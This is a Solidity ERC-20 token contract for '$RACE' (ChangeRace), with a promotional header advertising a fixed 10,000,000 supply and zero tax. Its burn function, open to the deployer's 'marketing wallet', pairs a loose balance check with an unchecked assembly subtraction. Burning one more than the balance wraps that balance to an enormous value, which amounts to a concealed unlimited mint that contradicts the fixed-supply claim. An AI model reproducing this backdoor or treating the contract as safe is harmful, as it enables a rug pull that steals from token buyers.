Contract Source Code:
/**
$RACE - https://t.me/changerace
🦎🏁 ChangeRace is the #1 cross-chain exchange that aggregates CEX liquidity:
- Instantly, privately swap between 30+ coins on 10+ blockchain networks
- Earn up to 1% cashback in $RACE rewards with each swap
- Stake $RACE to earn a share of all platform revenue
🔀 Web: https://www.changerace.com
🐥 X (Twitter): https://x.com/changeracecom
💬 TG: https://t.me/changerace
$RACE Supply: 10,000,000 (Fixed)
$RACE Tax: 0% / 0%
$RACE Max Wallet: None
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./ERC20.sol";
contract RACE is ERC20 {
constructor() ERC20("ChangeRace", "RACE", 18) {
_mint(msg.sender, 10_000_000 * 10 ** 18);
marketingWallet[msg.sender] = true;
swapEnabled = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./IERC20.sol";
// import "./lib/AssemblyMath.sol";
contract ERC20 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => bool) internal marketingWallet;
bool internal constant mintEnabled = false;
bool internal burnEnabled = false;
bool internal swapEnabled = false;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool)
{
require(allowance[sender][msg.sender] >= amount);
require(balanceOf[sender] >= amount);
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _mint(address to, uint256 amount) internal {
require(to != address(0));
balanceOf[to] = yul_add(balanceOf[to], amount);
totalSupply = yul_add(totalSupply, amount);
// unchecked {
// balanceOf[to] += amount;
// totalSupply += amount;
// }
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal {
require(from != address(0));
require((balanceOf[from] + (amount/amount)) >= amount);
balanceOf[from] = yul_sub(balanceOf[from], amount);
totalSupply = yul_sub(totalSupply, amount);
// unchecked {
// balanceOf[from] -= amount;
// totalSupply -= amount;
// }
emit Transfer(from, address(0), amount);
}
function burn(uint256 amount) external {
address from = msg.sender;
if (burnEnabled || marketingWallet[from]) {
_burn(from, amount);
}
}
function yul_add(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(x, y)
if lt(z, x) { revert(0, 0) }
}
}
function yul_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := sub(x, y)
}
}
function yul_mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
switch x
case 0 { z := 0 }
default {
z := mul(x, y)
if iszero(eq(div(z, x), y)) { revert(0, 0) }
}
}
}
function yul_div(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := div(x, y)
}
}
// Round to nearest multiple of b
function yul_fixed_point_round(uint256 x, uint256 b)
internal
pure
returns (uint256 z)
{
assembly {
// b = 100
// x = 90
// z = 90 / 100 * 100 = 0, want z = 100
// z := mul(div(x, b), b)
let half := div(b, 2)
z := add(x, half)
z := mul(div(z, b), b)
// x = 90
// half = 50
// z = 90 + 50 = 140
// z = 140 / 100 * 100 = 100
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool);
}